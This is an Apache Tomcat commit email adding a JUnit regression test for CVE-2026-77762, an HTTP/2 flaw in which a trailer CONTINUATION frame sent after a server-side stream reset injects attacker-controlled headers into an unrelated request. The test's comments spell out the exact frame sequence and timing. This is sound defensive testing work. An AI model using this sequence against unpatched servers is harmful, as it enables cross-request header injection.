This is an automated email from the ASF dual-hosted git repository. markt-asf pushed a commit to branch main in repository https://gitbox.apache.org/repos/asf/tomcat.git
commit 0eae5c69d99620e0becfce32cea67c18fe177c52 Author: Mark Thomas <[email protected]> AuthorDate: Fri Aug 21 11:21:02 2026 +0100 Add test case for CVE-2026-77762 Generated-by: Claude Code / Sonnet 5 --- .../org/apache/coyote/http2/TestHttp2Security.java | 246 +++++++++++++++++++++ 1 file changed, 246 insertions(+) diff --git a/test/org/apache/coyote/http2/TestHttp2Security.java b/test/org/apache/coyote/http2/TestHttp2Security.java new file mode 100644 index 0000000000..dc87c54b12 --- /dev/null +++ b/test/org/apache/coyote/http2/TestHttp2Security.java @@ -0,0 +1,246 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.coyote.http2; + +import java.io.IOException; +import java.nio.ByteBuffer; + +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import org.junit.Assert; +import org.junit.Test; + +import org.apache.catalina.Context; +import org.apache.catalina.LifecycleException; +import org.apache.catalina.startup.Tomcat; +import org.apache.coyote.http11.AbstractHttp11Protocol; +import org.apache.tomcat.util.http.MimeHeaders; + +/* + * Tests that can't easily be added to the {@code org.apache.tomcat.security} package because they need access to + * package private classes. + */ +public class TestHttp2Security extends Http2TestBase { + + private static final String INJECTED_TRAILER_VALUE = "stolen-from-reset-stream-3"; + + /* + * Reproduces a stale HPACK HeaderEmitter reference surviving a server-side stream reset. + * <p> + * {@link HpackDecoder} holds a reference to the {@link Stream} (its {@link HpackDecoder.HeaderEmitter}) for the + * entire time a header block is open, i.e. from the HEADERS frame that starts it until the frame (HEADERS or + * CONTINUATION) that carries the END_HEADERS flag. That reference is only cleared early in two cases: + * {@link Http2Parser#afterHeadersCompleteCleanUp(boolean)} is called from {@link Http2Parser#readRstFrame} (RST + * frame *received from the client*) and from {@link Http2Parser#onHeadersComplete} (END_HEADERS seen). Nothing + * clears it when Tomcat resets the stream itself. + * <p> + * Separately, when a servlet completes its response without reading the full request body, + * {@code StreamProcessor.process()} takes the {@code !stream.isInputFinished()} branch, resets the stream + * (RST_STREAM, NO_ERROR, observed by the client) and, once the stream is replaced, {@link Stream#recycle()} pushes + * the (now recycled) {@code Request}/{@code Response} pair back into + * {@link Http2Protocol#recycledRequestsAndResponses} -- a stack shared by every stream the connector processes. + * <p> + * Combining the two: if the client leaves a trailer HEADERS frame for the just-reset stream open (no END_HEADERS) + * and only later completes it with a CONTINUATION frame, that CONTINUATION is decoded against the stale, + * already-recycled {@link Stream} object. Its {@link Stream#emitHeader(String, String)} writes straight into + * {@code coyoteRequest.getMimeTrailerFields()} -- but {@code coyoteRequest} is a {@code final} field, so it is the + * exact same {@code Request} instance later handed out (by {@link Http2Protocol#popRequestAndResponse()}) to + * whichever stream next pops it from the shared pool. The result is attacker-controlled trailer injection into an + * unrelated request. + * <p> + * Generated by Claude Code with Sonnet 5 + */ + @Test + public void testCVE_2026_77762() throws Exception { + http2Connect(); + + ((AbstractHttp11Protocol<?>) http2Protocol.getHttp11Protocol()).setAllowedTrailerHeaders(TRAILER_HEADER_NAME); + + // 1) Stream 3: announce a POST but never send (or read) a body. The + // "/noread" servlet completes its response immediately, so Tomcat's + // StreamProcessor will notice the request body was never fully read + // and reset the stream (NO_ERROR) once processing finishes. + sendHeadersNoBody(3, "/noread"); + + // 2) Without waiting for that reset, the (attacker-controlled) client + // immediately starts a *trailer* header block for the same stream, + // but withholds END_HEADERS. NoReadServlet sleeps briefly on its own + // (separate, worker) thread before completing, which gives the + // connection's parser thread -- blocked on nothing but a handful of + // already-buffered bytes -- more than enough time to process this + // frame first. Http2Parser.readHeadersFrame() points hpackDecoder's + // HeaderEmitter at the (still, for now, live) Stream 3 object, and + // Http2Parser.headersCurrentStream is left pointing at stream 3 + // because the header block was not closed. + // + // This ordering matters: Stream.close() -> Stream.replace() swaps the + // Stream 3 entry in Http2UpgradeHandler's stream map for a lightweight + // stub the instant the reset happens, so a HEADERS frame for stream 3 + // arriving *after* that point would be rejected outright (the parser + // would treat streamId 3 as an unknown/new stream and close the + // connection with a PROTOCOL_ERROR). Sending this before the reset + // sidesteps that: Http2Parser.readContinuationFrame() (step 3 below) + // never re-checks the stream map at all, it just trusts whatever + // object hpackDecoder.getHeaderEmitter() already holds -- which is + // why the swap does not save it once the header block is open. + sendOrphanedTrailerHeadersStart(3); + + Assert.assertTrue("Server did not reset stream 3 for the unread request body", readUntilStreamReset(3)); + + // 3) ... arbitrarily later, from the parser's perspective (a + // client-controlled pause) ... the CONTINUATION that finally closes + // that header block arrives. Nothing severed the emitter in the + // meantime (that only happens on END_HEADERS or on an RST *received* + // from the client - neither happened here), so the header it carries + // is delivered straight into the stale Stream 3 object, which writes + // it into the shared, recycled Request via getMimeTrailerFields(). + sendOrphanedTrailerContinuation(3, TRAILER_HEADER_NAME, INJECTED_TRAILER_VALUE); + + // 4) A brand new stream is opened. Its Stream pops a Request/Response + // pair from the shared pool. Since nothing else has touched the pool, + // it pops back the exact same (now poisoned) Request that stream 3's + // orphaned trailer just wrote into. + output.setTraceBody(true); + sendSimplePostRequest(5, null); + + // Stream 5 never sent any trailers of its own, so the only way its + // response can contain the injected value is via the reused, + // shared Request object. + boolean foundInjectedTrailer = false; + for (int i = 0; i < 20 && parser.readFrame(); i++) { + String trace = output.getTrace(); + if (trace.contains(INJECTED_TRAILER_VALUE)) { + foundInjectedTrailer = true; + } + if (trace.contains("5-EndOfStream")) { + break; + } + } + + // This is expected to fail until the HeaderEmitter held by + // HpackDecoder is severed when Tomcat itself resets a stream (not + // just on END_HEADERS or a client-sent RST for that stream), and/or + // Stream.emitHeader() is prevented from writing into a Request that + // has already been recycled. + Assert.assertFalse("Trailer value injected via stream 3's orphaned trailer CONTINUATION (sent after " + + "stream 3 was reset for an unread request body) leaked into stream 5's unrelated request/response " + + "via the shared, recycled Request object. Trace:\n" + output.getTrace(), foundInjectedTrailer); + } + + + private void sendHeadersNoBody(int streamId, String path) throws IOException { + byte[] headersFrameHeader = new byte[9]; + ByteBuffer headersPayload = ByteBuffer.allocate(128); + byte[] dataFrameHeader = new byte[9]; + ByteBuffer dataPayload = ByteBuffer.allocate(128); + + buildPostRequest(headersFrameHeader, headersPayload, false, null, -1, path, dataFrameHeader, dataPayload, null, + false, streamId); + // Only write the HEADERS frame. Deliberately never write the DATA + // frame (and therefore never send END_STREAM) so the request body + // is left permanently incomplete from Tomcat's point of view. + writeFrame(headersFrameHeader, headersPayload); + } + + + private boolean readUntilStreamReset(int streamId) throws Exception { + String target = streamId + "-RST-[" + Http2Error.NO_ERROR.getCode() + "]\n"; + for (int i = 0; i < 20 && parser.readFrame(); i++) { + if (output.getTrace().contains(target)) { + return true; + } + } + return false; + } + + + private void sendOrphanedTrailerHeadersStart(int streamId) throws IOException { + byte[] frameHeader = new byte[9]; + ByteBuffer payload = ByteBuffer.allocate(0); + + ByteUtil.setThreeBytes(frameHeader, 0, 0); + frameHeader[3] = FrameType.HEADERS.getIdByte(); + // Flags: END_STREAM (0x01) only. Trailer HEADERS frames must set + // END_STREAM (Stream.receivedStartOfHeaders() sets a headerException + // otherwise, which would make emitHeader() a no-op below). + // Deliberately NOT setting END_HEADERS (0x04): this leaves the header + // block open on the wire, exactly as a client pausing before sending + // the CONTINUATION would. + frameHeader[4] = 0x01; + ByteUtil.set31Bits(frameHeader, 5, streamId); + + writeFrame(frameHeader, payload); + } + + + private void sendOrphanedTrailerContinuation(int streamId, String name, String value) throws IOException { + byte[] frameHeader = new byte[9]; + ByteBuffer payload = ByteBuffer.allocate(128); + + MimeHeaders injected = new MimeHeaders(); + injected.addValue(name).setString(value); + hpackEncoder.encode(injected, payload); + payload.flip(); + + ByteUtil.setThreeBytes(frameHeader, 0, payload.limit()); + frameHeader[3] = FrameType.CONTINUATION.getIdByte(); + // Flags: END_HEADERS (0x04). This finally closes the header block + // that was left open by sendOrphanedTrailerHeadersStart(). + frameHeader[4] = 0x04; + ByteUtil.set31Bits(frameHeader, 5, streamId); + + writeFrame(frameHeader, payload); + } + + + @Override + protected void configureAndStartWebApplication() throws LifecycleException { + Tomcat tomcat = getTomcatInstance(); + + Context ctxt = getProgrammaticRootContext(); + Tomcat.addServlet(ctxt, "simple", new SimpleServlet()); + ctxt.addServletMapping("/simple", "simple"); + Tomcat.addServlet(ctxt, "noread", new NoReadServlet()); + ctxt.addServletMapping("/noread", "noread"); + + tomcat.start(); + } + + + private static class NoReadServlet extends HttpServlet { + + private static final long serialVersionUID = 1L; + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + // Give the test time to open (but not close) a trailer header + // block for this stream on the connection's parser thread before + // this (separate, worker) thread completes the response without + // having read any part of the (announced but never sent) request + // body -- which is what makes Tomcat reset this stream. + try { + Thread.sleep(200); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + resp.setStatus(HttpServletResponse.SC_OK); + } + } +} --------------------------------------------------------------------- To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
